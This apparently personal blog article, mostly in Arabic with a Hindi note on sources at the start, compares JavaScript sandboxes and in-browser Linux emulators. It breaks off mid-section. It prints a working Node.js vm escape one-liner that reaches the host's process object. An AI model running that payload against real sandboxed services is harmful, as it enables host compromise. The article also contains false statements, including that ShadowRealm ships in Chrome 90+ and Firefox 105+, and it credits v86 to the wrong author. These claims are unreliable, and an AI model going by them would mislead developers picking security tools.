मैंने प्रत्येक दावे को प्राथमिक स्रोत से जोड़ने की कोशिश की है -- CVE सलाह, आधिकारिक दस्तावेज़, GitHub रिपॉजिटरी, अनुरक्षकों के ब्लॉग पोस्ट। कुछ नोट्स: vm2 की CVE सूची बढ़ती रहती है इसलिए FortiGuard लिंक तुम्हारे पढ़ने के समय तक पुराना हो सकता है (नवीनतम के लिए GitHub सलाह पृष्ठ देखें)। Bellard के लिंक सभी स्थिर हैं -- उनकी व्यक्तिगत साइट हमेशा से है और सामग्री नहीं बदलती। और यदि तुम किसी भी पॉलीफिल में गहराई से जाना चाहते हो, तो बस typescript-virtual-container रिपॉजिटरी में polyfills/ फ़ोल्डर ब्राउज़ करें -- यह किसी भी विवरण से अधिक पठनीय है जो मैं यहाँ लिख सकता हूँ।

जावास्क्रिप्ट सैंडबॉक्स

लिनक्स एमुलेटर

टर्मिनल स्टैक

हनीपॉट

typescript-virtual-container

अतिरिक्त पठन

مقارنة حلول JavaScript لمحاكاة أنوية Linux

تحليل متعمق لإعادة بناء بيئات Linux في JavaScript/TypeScript.

كل صندوق رمل JavaScript، ومحاكٍ، ومقلد، ومصيدة تفاعل Linux -- مقارنة

حسنًا، لقد مضى وقت طويل وأنا غارق في جحر الأرانب هذا lol. بدأ كل شيء لأنني كنت أساعد في typescript-virtual-container -- مشروع Fortune (سأعود إليه بعد قليل) -- وكان الناس يسألونني دائمًا "لحظة، ما الفرق بين هذا و v86؟" أو "لماذا لا تستخدم vm2؟" -- وأدركت أنني لا أستطيع إعطاء إجابة واضحة دون رسم خريطة للنظام البيئي بأكمله أولاً. لذا ها نحن ذا، على ما أعتقد xD

اتضح أن هناك أربع عائلات متميزة -- صناديق الرمل JS، ومحاكيات Linux، ومقلدو Linux، ومصائد التفاعل -- وهي بالكاد تتداخل أبدًا، على الرغم من أننا نذكرها باستمرار في نفس الجملة. شخص يبني نظام إضافات يستخدم isolated-vm. شخص يعرض أداة CLI يستخدم v86. شخص يعمل في استخبارات التهديدات SSH يستخدم Cowrie. إنهم يحلون مشاكل مختلفة تمامًا تحت مظلة واحدة غامضة هي "تشغيل الكود في صندوق".

قضيت الكثير من الوقت في قراءة الكود المصدري وتقارير CVE ووثائق الهندسة المعمارية وصفحات npm لكتابة هذا المقال. سيكون طويلاً -- احضر قهوة، بجدية. أو اثنتين.

إخلاء مسؤولية صغير: typescript-virtual-container مذكور في هذا المقال لأنه هو الذي أطلق هذا البحث. حاولت أن أكون منصفًا تجاه كل شيء آخر، لكن ضع هذا السياق في الاعتبار.


الجزء 0 -- أولاً، ما المشكلة التي تحلها حقًا؟

قبل الغوص، من الجدير أن نكون دقيقين بشأن فائدة كل عائلة، لأن المصطلحات تصبح فوضوياً بسرعة ويخلط الناس بينها باستمرار (أنا أيضًا، قبل أن أجلس وأرسم كل شيء بشكل مرتب).

صناديق رمل JS تعزل كود JavaScript عن عملية Node.js المضيفة. نموذج التهديد هو: كود JS غير موثوق قد يستدعي process.exit()، أو يقرأ ملفات، أو يشغل عمليات فرعية. الحل هو حدود حول تنفيذ V8. هذه الأدوات ليس لديها أي مفهوم عن شل Linux، أو نظام ملفات بصلاحيات، أو SSH.

محاكيات Linux تشغل نواة Linux حقيقية غير معدلة داخل محاكٍ لوحدة المعالجة المركزية (x86، RISC-V، OR1K) منفذ في JavaScript أو WebAssembly. تقوم بتشغيل نظام تشغيل حقيقي. لديك استدعاءات نظام حقيقية. لديك توافق ثنائي مع البرامج المترجمة لـ x86. التكلفة في الموارد هائلة.

مقلدو Linux يقلدون سلوك نظام Linux دون تشغيل نواة حقيقية. يقومون بتنفيذ مترجم شل، ونظام ملفات افتراضي، وقدر كافٍ من دلالات Unix لخداع البرامج والبشر. لا نواة. لا Wasm. لا محاكاة CPU. موارد أقل بكثير.

مصائد التفاعل مصممة لجذب المهاجمين وتسجيل ما يفعلونه. إنها ليست في المقام الأول بيئات تشغيل -- إنها أدوات مراقبة. دقة faithfulness لسلوك Linux الحقيقي تهم فقط بقدر ما تمنع المهاجم من اكتشاف المصيدة.

مع هذا الإطار، إليك مكان كل مشروع في هذا المقال:

JS sandbox :       vm, vm2, isolated-vm, quickjs-emscripten, Deno Workers, ShadowRealm
Linux emulator :   v86, JSLinux/TinyEMU, jor1k, CheerpX, WebContainers, container2wasm
Linux simulator :  typescript-virtual-container (فريد في هذا المجال)
Honeypot :         Cowrie, Kippo, Lyrebird, endlessh, sshesame, node-simple-ssh-honeypot
Terminal stack :   xterm.js + node-pty (ليس عازلًا، لكنه ذو صلة)

الجزء 1 -- صناديق رمل JavaScript

1.1 vm -- الوحدة الأصلية لـ Node.js (ليس كما تظن)

أقدم إجابة لـ "تشغيل JS غير موثوق" في Node هي الوحدة الأصلية vm. إنها موجودة منذ الإصدار v0.1، لذا يستخدمها الكثير من الناس أولاً -- ثم يحترقون.

const vm = require("vm");
const sandbox = { answer: 0 };
vm.createContext(sandbox);
vm.runInContext("answer = 6 * 7", sandbox);
console.log(sandbox.answer); // 42

ما يفعله vm حقًا: ينشئ سياق V8 جديد (مجموعة جديدة من المنشئات الأصلية -- Object، Array، Function، إلخ) وينفذ الكود بداخله، مع مرجع مشترك لما تضعه في sandbox. محرك V8 الخاص بك لا يتغير. عمليتك لا تتغير. الذاكرة مشتركة.

السبب في أن vm لا يوفر أي أمان: سلسلة النماذج الأولية prototype chain في JavaScript هي DAG تربط كل شيء بـ Object.prototype. إذا وضعت كائنًا من العالم المضيف في الصندوق الرملي، يمكن للضيف الصعود عبر سلسلة النماذج الأولية والوصول إلى المنشئات المضيفة. من Function، يمكنك استدعاء Function("return process")() والحصول على process الحقيقي. انتهت اللعبة. فورًا.

// هذا يعمل تمامًا في vm -- تحصل على process الحقيقي
vm.runInNewContext(`({}).__proto__.constructor("return process")()`);

أعني، وثائق Node.js نفسها تقول: "وحدة vm ليست آلية أمان. لا تستخدمها لتشغيل كود غير موثوق." هذا التحذير موجود منذ الأبد. الناس يتجاهلونه باستمرار. رأيت تطبيقات في الإنتاج تستخدم vm كصندوق رمل. أرجوك لا تفعل هذا xD

الحكم: آلية نطاق، وليس صندوق رمل. استخدمه عندما تحتاج إلى عزل متغيرات (محركات القوالب، ميزات تشبه eval حيث تتحكم في الكود). أبدًا للمدخلات غير الموثوقة.

الذاكرة: حمل زائد ضئيل -- نفس كومة V8 مثل العملية المضيفة.
الأمان: لا شيء ضد مهاجم مصمم.


1.2 vm2 -- المحاولة المجتمعية، وموتها الطويل جدًا

vm2 كان رد المجتمع على مشكلة الهروب من vm. الفكرة الأساسية: لف كل كائن يعبر حدود الصندوق الرملي في Proxy يعترض الوصول إلى الخصائص، ويمنع الصعود عبر prototype، ويصفى المراجع الخطيرة. فكرة ذكية نظريًا! لكن ليس كثيرًا في الممارسة، كما سنرى.

const { VM } = require("vm2");
const vm = new VM({ timeout: 1000, sandbox: {} });
vm.run("process.exit(1)"); // يرمي VMError، process غير متاح

لعدة سنوات، عمل هذا بشكل جيد إلى حد ما. لكن سطح الهجوم لـ Proxy في JavaScript ضخم. كل ميزة لغة جديدة في JS -- المولدات، المكررات غير المتزامنة، Symbol.toPrimitive، Error.prepareStackTrace، الفتحات الداخلية لـ Promise -- هي ناقل هروب محتمل.

الجدول الزمني لـ CVE هو... شيء. مثل، انظر إلى هذا:

التاريخ CVE الآلية
أكتوبر 2022 CVE-2022-36067 هروب من السياق المضيف عبر Error.prepareStackTrace
أبريل 2023 CVE-2023-29017 تسرب كائن مضيف عبر خطأ async غير معالج
أبريل 2023 CVE-2023-29199 تجاوز تعقيم الاستثناءات عبر handleException()
أبريل 2023 CVE-2023-30547 Proxy.getPrototypeOf ← Function ← RCE
مايو 2023 CVE-2023-32314 Proxy على Error.name ← Function ← RCE
يونيو 2023 CVE-2023-37466 دالة async + تجاوز سعة المكدس + Proxy.getPrototypeOf
يونيو 2023 CVE-2023-37903 worker thread + هروب عبر eval

ثلاثة CVE حرجة في نفس الشهر (أبريل 2023). ثلاثة. في شهر واحد. بعد CVE-2023-37903، قام الصيانة رسميًا بإهمال المكتبة برسالة: "المكتبة تحتوي على مشاكل أمنية حرجة ولا ينبغي استخدامها في الإنتاج."

أعادها الصيانة إلى الحياة في أكتوبر 2025 مع الإصدار 3.10.0، مدعيًا إصلاح كل ما هو معروف في ذلك الوقت. تم كشف هروب حرج جديد (CVE-2026-22709، CVSS 9.8) في يناير 2026، تبعه مجموعة من أحد عشر آخرين في مايو 2026. أحد عشر. النمط لم يتغير وبصراحة لا أعتقد أنه سيتغير يومًا ما.

المشكلة الأساسية هي معمارية -- وهذا هو الدرس الذي استغرق النظام البيئي بأكمله وقتًا لتعلمه. لا يمكنك بناء صندوق رمل آمن باستخدام نفس اللغة التي تعزلها، على نفس المحرك، في نفس العملية. سطح الهروب هو تطبيق V8 بأكمله -- و V8 ملايين الأسطر من C++ التي تتغير باستمرار. كل ميزة JS جديدة تفتح احتمالية طريق هجوم جديد.

الحكم: لا تستخدم للتطبيقات الحساسة أمنيًا. حتى على أحدث إصدار، يتم اكتشاف هروب جديد كل بضعة أشهر. الصيانة نفسه اعترف بذلك علنًا.


1.3 isolated-vm -- الذي يعمل حقًا

isolated-vm يتبع النهج الصحيح: استخدام primitive العزل الأصلي لـ V8، وهو Isolate. كل Isolate V8 له كومته الخاصة، وجامع القمامة الخاص به، ومجموعته الخاصة من العناصر الأصلية، ولا توجد مراجع مشتركة مع Isolates الأخرى.

هذا هو نفس الحدود الذي يستخدمه Chrome بين علامات التبويب. إنه حاجز أمني حقيقي، ليس خدعة لغة مبنية على Proxy.

import ivm from "isolated-vm";

// كل isolate هو كومة V8 خاصة به
const isolate = new ivm.Isolate({ memoryLimit: 64 }); // الحد بالميغابايت
const context = await isolate.createContext();
const jail = context.global;

// تمرير البيانات عبر الحدود يتطلب تسلسلاً صريحًا
await jail.set("sensitiveData", "not this");
await jail.set("log", new ivm.Reference(console.log));

const script = await isolate.compileScript(`
  // لا يمكن الوصول إلى العملية المضيفة، أو كومة المضيف، أو وحدات المضيف
  log.applySync(undefined, ["hello from the isolate"]);
`);
await script.run(context);

// يمكنك إنهاء بقسوة عند انتهاء المهلة أو حد الذاكرة
isolate.dispose(); // تحرير الكومة بأكملها

أنواع Reference و ExternalCopy هي جسر الاتصال الصريح. Reference تعطي للـ isolate مقبضًا قابلاً للاستدعاء لدالة مضيفة -- يمكن للـ isolate استدعاءها لكن لا يمكنه فحص closure أو prototype الخاص بها. ExternalCopy يسلسل قيمة (clone structured) عبر حدود الكومة. نموذج الجسر الصريح هذا ليس عمليًا، لكنه ما يجعل العزل حقيقيًا.

يمكنك تعيين حدود صارمة للموارد: الذاكرة (يُنهى الـ isolate إذا تجاوز الحد)، مهلة زمنية، ومهلة CPU. الإنهاء حقيقي -- فهو يقتل Isolate V8 بأكمله، وليس مجرد مهلة JS يمكن تجاوزها بـ while(true).

القيود: إنه JS فقط. لا يمكنك تشغيل bash بداخله. لا يوجد مفهوم للملفات، أو الصلاحيات، أو الشبكة، أو العمليات. إنها الأداة المناسبة تمامًا لـ JS المقدم من المستخدم (إضافات، صيغ، hooks برمجية)، والأداة الخاطئة لكل شيء آخر. ذكرت مؤلفة typescript-virtual-container أنها فكرت فيه في البداية قبل أن تدرك أن "تشغيل أوامر شل" و"عزل JavaScript" هما مشكلتان مختلفتان جوهريًا.

الذاكرة: ~3-10 ميغابايت لكل isolate فارغ، يزداد مع استخدام الكومة.
الأمان: متين. حدود V8 Isolate هي primitive العزل الحقيقي.
npm: isolated-vm
GitHub: laverdet/isolated-vm


1.4 quickjs-emscripten -- محرك JS منفصل مُجمّع إلى Wasm

نهج مختلف: بدلاً من العزل داخل V8، شغّل محرك JavaScript منفصل تمامًا مُجمّع إلى WebAssembly. المضيف يعمل في V8/Node. الضيف يعمل في QuickJS-داخل-Wasm. صندوق رمل Wasm يوفر حدود العزل.

QuickJS هو عمل آخر من أعمال Fabrice Bellard (نفس الشخص وراء QEMU، FFmpeg، JSLinux، TinyEMU -- هذا الشخص ليس حقيقيًا، بجدية، كيف لشخص واحد أن يفعل كل هذا؟). إنه محرك JS صغير متوافق مع معيار ES2023 مكتوب بلغة C، ومجمّع إلى Wasm يبلغ حوالي 500 كيلوبايت فقط.

import { getQuickJS } from "quickjs-emscripten";

const QuickJS = await getQuickJS();
const vm = QuickJS.newContext();

const result = vm.evalCode(`
  // يُنفذ في QuickJS، منفصل تمامًا عن V8
  (function() { return 6 * 7; })()
`);

if (result.error) {
  console.log("Error:", vm.dump(result.error));
  result.error.dispose();
} else {
  console.log("Result:", vm.dump(result.value)); // 42
  result.value.dispose();
}

vm.dispose();

QuickJS هو محرك JavaScript صغير متوافق مع ES2023 مكتوب بلغة C. عند تجميعه إلى Wasm، يبلغ حوالي 500 كيلوبايت للنسخة المتزامنة، ~1 ميغابايت للنسخة غير المتزامنة (Asyncify). إدارة الذاكرة يدوية -- كل قيمة تستخرجها من VM يجب تحريرها صراحةً، مما هو مزعج بعض الشيء لكنه يمنع مفاجآت GC عبر الحدود. مفاضلة ممتعة!

الغلاف @sebastianwessel/quickjs يضيف API أكثر سهولة فوقه، مع نظام ملفات افتراضي اختياري، ودعم fetch، ونماذج لوحدات Node.js:

import variant from "@jitl/quickjs-ng-wasmfile-release-sync";
import { loadQuickJs } from "@sebastianwessel/quickjs";

const { runSandboxed } = await loadQuickJs(variant);

const result = await runSandboxed(
  async ({ evalCode }) => evalCode(`
    import { join } from 'path';
    export default join('src', 'dist');
  `),
  { allowFs: false, allowFetch: false }
);

نموذج الأمان مختلف عن isolated-vm: نموذج الذاكرة الخطي لـ Wasm يعني أن الضيف لا يمكنه الوصول مباشرة إلى كائنات كومة V8. سطح الهجوم هو واجهة المضيف↔Wasm (imports/exports)، وليس لغة JS بأكملها. يعتبر هذا عمومًا أكثر متانة من صناديق الرمل القائمة على Proxy.

الجانب السلبي: QuickJS ليس لديه نفس مستوى التحسين مثل V8. للأحمال المكثفة حسابيًا في JS، هو أبطأ 5 إلى 20 مرة من V8. لقطع صغيرة من الكود والتقييمات غير الموثوقة، هذا لا يهم عادةً.

الذاكرة: ~500 كيلوبايت وحدة Wasm + كومة لكل instance.
الأمان: حدود Wasm، تعتبر أكثر متانة من الأساليب القائمة على Proxy.
npm: quickjs-emscripten، @sebastianwessel/quickjs
GitHub: justjake/quickjs-emscripten


1.5 Deno -- بيئة تشغيل تضع الصلاحيات أولاً

Deno يتبع فلسفة مختلفة تمامًا: بدلاً من صنع صندوق رمل داخل Node، بناء بيئة تشغيل جديدة آمنة افتراضيًا. أحب حقًا هذا النهج -- كان هذا ما كان يجب أن يكون عليه Node.js منذ البداية، بصراحة. Ryan Dahl (المُنشئ الأصلي لـ Node.js) أنشأ Deno حرفيًا لأنه ندم على بعض قرارات تصميم Node.js، وهذا شيء مجنون عندما تفكر فيه.

كل قدرة حساسة (قراءة ملف، كتابة ملف، شبكة، بيئة، عملية فرعية) تتطلب علامة --allow-* صريحة:

# هذا يمكنه القراءة فقط من /data، لا شيء آخر
deno run --allow-read=/data script.ts

# هذا يمكنه الوصول فقط إلى نطاق واحد
deno run --allow-net=api.example.com script.ts

# لا علامات = لا صلاحيات
deno run untrusted.ts # لا يمكنه القراءة، الكتابة، الشبكة، أو التشغيل

نموذج الصلاحيات منفذ على مستوى Rust/OS -- إنها ليست خدعة JS. عندما يستدعي كود Deno Deno.readFile()، يمر عبر عملية Rust التي تتحقق من جدول الصلاحيات قبل لمس نظام الملفات. لا يمكنك تجاوزه من JS لأن استدعاء النظام لا يحدث أبدًا إذا لم تمنح الصلاحية.

لتشغيل كود غير موثوق حقًا، توفر Deno Workers (Web Workers) isolate ثاني في نفس العملية، لكل منها مجموعته الخاصة من الصلاحيات. يمكنك تشغيل worker بدون أي صلاحيات والتواصل معه عبر postMessage.

Deno 2 (صدر في أكتوبر 2024) أضاف توافق npm كامل ومحاكيات توافق Node.js، مما حسن بشكل كبير تبنيه لحالات الاستخدام من جانب الخادم.

المفاضلة: نموذج أمان Deno ممتاز للكود الذي قد تثق به جزئيًا. للكود غير الموثوق تمامًا الذي قد يكون خبيثًا، نموذج الصلاحيات لا يساعد -- تحتاج إلى حدود Isolate (isolated-vm) أو محرك مختلف (quickjs-emscripten)، لأن Deno لا يزال يستخدم V8 والمهاجمون المتطورون يمكنهم العثور على أخطاء على مستوى V8.


1.6 TC39 ShadowRealm -- الإجابة الموحدة (يوماً ما)

هيئة توحيد المعايير JavaScript (TC39) لديها اقتراح يسمى ShadowRealm يحاول توحيد ما كانت تحاول vm و vm2 فعله، ولكن بنموذج أمان صحيح. ShadowRealm ينشئ سياق تنفيذ JS معزولاً مع intrinsic الخاصة به، ولا وصول إلى العالم الخارجي، وواجهة import/export متحكم فيها بعناية.

const realm = new ShadowRealm();
const result = realm.evaluate(`
  // intrinsic منفصلة، لا وصول إلى العالم الخارجي
  typeof globalThis.fetch // "undefined"
  6 * 7 // 42
`);

ShadowRealm متاح في المتصفحات (Chrome 90+، Firefox 105+) لكنه ليس بعد في Node.js المستقر في 2026. اقتراح TC39 Compartments يبني عليه لعزل على مستوى الوحدات. هذه هي الإجابات الموحدة طويلة المدى، لكنها ليست جاهزة بعد للإنتاج على جانب خادم Node. إنه أحد تلك الأشياء التي تراها قادمة من بعيد لكن... لم تصل بعد. كلاسيك TC39 xD


ملخص عائلة صناديق الرمل

| | vm | vm2 | isolated-vm | quickjs-emscripten | Deno Workers | |---|---|---|---|---|---|---| | حد العزل | لا شيء (نطاق) | Proxy (مكسور) | V8 Isolate | Wasm | V8 Isolate + صلاحيات Rust | | حد الذاكرة | ❌ | ❌ | ✅ حد صارم | ✅ كومة Wasm | جزئي | | مهلة CPU | ❌ | ✅ (يمكن تجاوزها) | ✅ صارم | ✅ | ✅ | | الأمان | لا شيء | مكسور | متين | متين | متين | | سرعة JS | V8 أصلي | V8 أصلي | V8 أصلي | ~10x أبطأ | V8 أصلي | | المتصفح | ❌ | ❌ | ❌ | ✅ | ❌ | | توافق Node | أصلي | ✅ | ✅ | محاكيات جزئية | جزئي | | الحالة | مستقر | محفوف بالمخاطر (CVE جديدة) | ✅ نشط | ✅ نشط | ✅ نشط | | حمل RAM | ~1 ميغابايت | ~5-20 ميغابايت | ~3-10 ميغابايت | ~5-15 ميغابايت | ~10-30 ميغابايت |

الحكم: إذا كان الأمان مهمًا لك، هناك بالضبط خياران حقيقيان -- isolated-vm (إضافة أصلية، V8 Isolate، سرعة JS كاملة) و quickjs-emscripten (Wasm، متوافق مع المتصفح، ~10x أبطأ للحساب المكثف). كل شيء آخر إما "أرجوك لا تفعل هذا" (vm، vm2) أو بيئة تشغيل تحل مشكلة مختلفة تمامًا (Deno). ShadowRealm قد يغير اللعبة يومًا ما، لكنه ليس بعد.


الجزء 2 -- محاكيات Linux في JavaScript

هنا تصبح الأمور مثيرة حقًا بالنسبة لي. هذه محاكيات حقيقية -- تنفذ مجموعة تعليمات CPU في JavaScript أو WebAssembly، تشغل صورة نواة Linux حقيقية، وتنفذ برامج مستخدم حقيقية. العزل يأتي من حقيقة أن الضيف والمضيف لا يشاركان شيئًا: مساحات ذاكرة مختلفة، تدفقات تعليمات مختلفة.

الثمن باهظ، لكن ما تحصل عليه رائع حقًا: Linux حقيقي، يعمل حقًا، في متصفحك أو عملية Node الخاصة بك. مثل، هذا شيء مجنون عندما تفكر فيه، أليس كذلك؟

2.1 v86 -- محاكي PC x86 في JS + JIT Wasm

v86 بواسطة Fabrice (copy على GitHub) هو محاكي x86 مفتوح المصدر الأكثر قدرة في JavaScript. بدأ كمفسر JS نقي حوالي 2013 وتطور إلى نظام JIT حيث تُترجم الكتل الأساسية x86 إلى WebAssembly أثناء التنفيذ، مما يحسن الأداء بشكل كبير.

ما يحاكيه:

  • CPU: x86-32 (IA-32)، مجموعة تعليمات حوالي مستوى Pentium 1. لا 64-bit (x86-64) -- هذا حد معماري للأجهزة، ليس ميزة مفقودة.
  • FPU: عبر Float64Array في JavaScript. x87 بدقة ممتدة 80-bit؛ الـ double في JS هو 64-bit. هذا يعني أن نتائج الفاصلة العائمة قد تختلف قليلاً عن CPU حقيقي.
  • الذاكرة: قابلة للتكوين، تُخطط إلى SharedArrayBuffer أو ArrayBuffer في كومة JS.
  • الأجهزة: 8254 PIT (مؤقت)، 8259 PIC (وحدة تحكم المقاطعات)، وحدة تحكم لوحة مفاتيح 8042 (PS/2)، CMOS RTC، VGA مع إضافات SVGA و Bochs VBE، وحدة تحكم IDE، وحدة تحكم أقراص مرنة (8272A)، بطاقة شبكة NE2000.
  • BIOS: يستخدم SeaBIOS (BIOS x86 مفتوح المصدر).

JIT يعمل بتحديد الكتل الأساسية (تسلسلات تعليمات x86 بدون قفزات)، وترجمتها إلى دالة WebAssembly، وتخزين هذه الدالة في ذاكرة تخزين مؤقت، واستدعائها في عمليات التنفيذ اللاحقة لنفس الكتلة. مسارات الكود الساخنة تحصل على أداء Wasm أصلي. المسارات الباردة تعود إلى المفسر JS.

import { V86 } from "v86";
import { readFileSync } from "fs";

const emulator = new V86({
  bios:    { buffer: readFileSync("./bios/seabios.bin") },
  vga_bios:{ buffer: readFileSync("./bios/vgabios.bin") },
  hda:     { buffer: readFileSync("./images/alpine.img"), async: false },
  memory_size: 128 * 1024 * 1024, // 128 ميغابايت
  autostart: true,
});

// التقاط الإخراج التسلسلي (وحدة تحكم نواة Linux)
emulator.add_listener("serial0-output-byte", byte => {
  process.stdout.write(String.fromCharCode(byte));
});

// إرسال إدخال إلى الضيف (كتابة في الشل)
emulator.serial0_send("ls /\n");

أنظمة التشغيل المدعومة: Alpine Linux (ممتاز)، Ubuntu 16.04/18.04 (i386 فقط)، Arch Linux 32، ReactOS، FreeDOS، Windows 9x/2000 (مع تحفظات)، MS-DOS.

وقت الإقلاع: 15-40 ثانية لـ Alpine Linux من صورة نظيفة. هذا متأصل في تهيئة النواة الحقيقية -- لا يمكنك تخطيها. نعم، سيشاهد مستخدموك نواة Linux تقلع في متصفحهم. هذه هي الصفقة xD

الحد الأدنى للذاكرة: 100-256 ميغابايت لكل instance. ذاكرة التخزين المؤقت لكود JIT Wasm وحدها يمكن أن تصل إلى عشرات الميغابايتات لـ instance Linux مشغول.

الاستخدام في Node.js: مدعوم بالكامل. لا حاجة لـ DOM -- يمكن تجاهل إخراج VGA إذا كنت مهتمًا فقط بالإخراج التسلسلي.

ما لا يمكنك فعله: تشغيل برامج 64-bit، استخدام ميزات النواة الحديثة (eBPF، io_uring، إلخ)، أو تشغيل أكثر من حفنة من الـ instances في وقت واحد دون الوصول إلى حدود الذاكرة.

npm: v86 -- يُحدث باستمرار، آخر إصدار في نفس يوم كتابتي.
GitHub: copy/v86
تجربة: copy.sh/v86


2.2 JSLinux و TinyEMU -- عمل Bellard، على مرحلتين

JSLinux هو محاكي Linux في JavaScript الخاص بـ Fabrice Bellard -- الأول من نوعه، نُشر في 2011. ما زلت أذكر Bellard في هذا المقال لأنه يستمر في الظهور: QuickJS، TinyEMU، JSLinux، QEMU، FFmpeg. هذا الرجل شيء آخر. حقًا واحدة من أكثر المساهمات التقنية الفردية إثارة للإعجاب في تاريخ البرمجيات، دون مبالغة.

JSLinux الأصلي كان مفسر x86 نقي JS. في 2016، كتب Bellard TinyEMU (محاكي RISC-V بلغة C)، وجمعه إلى JavaScript عبر Emscripten، وأصبح هذا أساس JSLinux الحالي. لذا فإن JSLinux الحالي هو في الواقع كود C ينتج JavaScript -- ليس JS مكتوبًا يدويًا على الإطلاق.

الملاحظات التقنية على موقع Bellard تستحق القراءة: JSLinux الحالي يشغل CPU RISC-V 32 أو 64-bit (ليس x86)، محاكي لوحدة تحكم VirtIO، شبكة VirtIO، جهاز كتلة VirtIO، ونظام ملفات 9P لمشاركة الملفات مع المضيف. التجربة JS مجمعة من C باستخدام Emscripten -- ليست JS مكتوبة يدويًا.

TinyEMU نفسه يدعم:

  • RISC-V RV32IMAFDQC و RV64IMAFDQC (32 و 64-bit، مع فاصلة عائمة، ضرب، تعليمات مضغوطة)
  • x86 عبر KVM (أصلي فقط، لا محاكاة -- لذا نسخة JS هي RISC-V فقط)
  • VirtIO console، شبكة، كتلة، إدخال، نظام ملفات 9P

TinyEMU لديه تجربة JavaScript مقدمة عبر Emscripten. إنه أساس JSLinux ويستخدم أيضًا بواسطة container2wasm (انظر القسم 2.5).

حالة JSLinux: لا حزمة npm، ولا API قابل للبرمجة. إنها تجربة تفتحها في متصفحك. الأهمية التاريخية كبيرة -- لقد أثبت المفهوم. الفائدة العملية كمكتبة: معدومة.

TinyEMU: غير موجود على npm، المصدر C متاح على bellard.org/tinyemu.


2.3 jor1k -- محاكي OR1K

jor1k هو محاكي OpenRISC 1000 (OR1K) مكتوب بلغة JavaScript بواسطة Sebastian Macke. إنه مثير للاهتمام تاريخيًا لأن jor1k قدم دعم نظام الملفات VirtIO 9P، الذي قام Bellard بدمجه لاحقًا في TinyEMU و JSLinux. التلقيح المتبادل بين هذه المشاريع وثيق -- فهم يستعيرون أشياء من بعضهم البعض، وهذا بصراحة واحد من أروع الأشياء في عمل المحاكاة مفتوح المصدر.

الحالة: لم يعد يُصان بنشاط، لا حزمة npm. مؤرشف في هذه المرحلة. مفيد لمعرفته بشكل أساسي للسياق التاريخي -- مثل، إذا ذكر شخص ما jor1k في محادثة، فأنت الآن تعرف ما هو :)


2.4 CheerpX -- محاكي x86 تجاري للمتصفح

CheerpX من Leaning Technologies هو محاكي Linux x86 تجاري بجودة إنتاجية. إنه ليس مفتوح المصدر، لكنه أكثر قدرة بشكل ملحوظ من v86 لتشغيل userspace Debian/Ubuntu حقيقي. إذا كنت بحاجة إلى VSCode حقيقي في المتصفح، فهذا ما تحتاجه.

الاختلافات الرئيسية عن v86:

  • يدعم ISA أوسع (المزيد من إضافات x86، توافق glibc أفضل)
  • نظام ملفات قائم على IndexedDB في المتصفح (يستمر عبر إعادة تحميل الصفحة)
  • دعم pthread عبر SharedArrayBuffer (الذي يتطلب رؤوس COOP/COEP -- نعم رؤوس الأمان المزعجة هذه)
  • مصمم لتشغيل VSCode، Python، Node.js، وتطبيقات حقيقية أخرى -- ليس فقط صور OS مصغرة
  • دعم احترافي و SLA متاح (يعني يمكنك توبيخ شخص ما إذا تعطل)

حالة الاستخدام النموذجية هي "تشغيل تطبيق Linux حقيقي في المتصفح بدون خادم." تستخدمه الشركات لـ IDEs قائمة على المتصفح، ودروس البرمجة، والتوثيق التفاعلي.

// API CheerpX (مبسطة)
const cx = await CheerpX.Linux.create({
  mounts: [{ type: "ext2", path: "/", dev: CloudDevice.create(...) }],
});
await cx.run("/bin/bash");

القصة مع Node.js: CheerpX مصمم أولاً للمتصفح. المحاكي الأساسي يمكنه نظريًا العمل في Node (إنه Wasm)، لكن API والتوثيق موجهان بالكامل للاستخدام في المتصفح. الاستخدام من جانب الخادم غير مدعوم.

الذاكرة: مشابه لـ v86 -- 200+ ميغابايت لـ instance Debian حقيقية.
التسعير: مجاني للمشاريع مفتوحة المصدر، رخصة تجارية لـ SaaS في الإنتاج.
التوثيق: cheerpx.io/docs/overview


2.5 WebContainers (StackBlitz) -- Node.js في Wasm، ليس محاكاة Linux

WebContainers غالبًا ما تُوضع في نفس فئة محاكيات Linux لكنها مختلفة معمارياً. لا تحاكي x86. لا تشغل Linux. تشغل Node.js مُجمّع إلى WebAssembly باستخدام WASI. هذا التمييز مهم جدًا وقد قضيت وقتًا طويلاً جدًا في الارتباك حول هذا lol.

أعتقد أن الارتباك يأتي من التسويق -- "تشغيل Node.js في متصفحك" يبدو كمحاكاة، لكنه في الواقع Node.js نفسه مُجمّع إلى Wasm، وليس محاكاة Linux تشغل Node.js في VM. شيء مختلف تمامًا.

المعمارية:

  1. Node.js مُجمّع إلى Wasm (بيئة WASI مخصصة تحديدًا)
  2. Service Worker يعترض طلبات الشبكة من خادم Node.js المحاكي ويوجهها إلى علامة التبويب في المتصفح
  3. نظام الملفات يعيش في ذاكرة المتصفح (لا I/O قرص)
  4. npm هو تطبيق مخصص محسّن للاستخدام في المتصفح
import { WebContainer } from "@webcontainer/api";

const webcontainer = await WebContainer.boot();

// كتابة ملفات
await webcontainer.mount({
  "index.js": { file: { contents: `console.log("hello")` } },
  "package.json": { file: { contents: `{"name":"demo","type":"module"}` } }
});

// تشغيل أوامر Node.js
const proc = await webcontainer.spawn("node", ["index.js"]);
proc.output.pipeTo(new WritableStream({ write: chunk => console.log(chunk) }));

لأنه يشغل Node.js حقيقي (مُجمّع إلى Wasm)، لديك npm حقيقي، وAPI Node.js حقيقية، وحل وحدات حقيقي. ليس لديك userspace Linux عام -- لا يمكنك تثبيت حزم نظام بـ apt، أو تشغيل برامج مترجمة عشوائية، أو فعل الكثير خارج نظام Node.js البيئي.

متطلبات المتصفح: SharedArrayBuffer (يتطلب رؤوس COOP/COEP)، دعم Service Worker، Wasm حديث.

القصة مع Node.js: مصمم حصريًا للاستخدام في المتصفح. API لا يعمل خارج سياق المتصفح.

npm: @webcontainer/api
التوثيق: webcontainers.io


2.6 container2wasm -- حاويات Docker مُجمّعة إلى Wasm

container2wasm هو أداة (ليس حزمة npm) من NTT تأخذ صورة حاوية Docker وتحولها إلى برنامج WebAssembly ثنائي يمكن تشغيله على أي مضيف Wasm -- بما في ذلك المتصفح. عندما رأيت هذا لأول مرة، لم أصدق حقًا أنه يعمل.

الآلية:

  • لحاويات x86_64: يضمّن Bochs (محاكي x86، مُجمّع إلى Wasm) + نظام الملفات الجذر للحاوية
  • لحاويات riscv64: يضمّن TinyEMU (مرة أخرى Bellard!) + نظام الملفات الجذر للحاوية
  • ملف .wasm الناتج يشغل المحاكي، ويُحمّل نظام ملفات الحاوية، وينفذ نقطة الدخول للحاوية
# تحويل حاوية Ubuntu 22.04 إلى Wasm
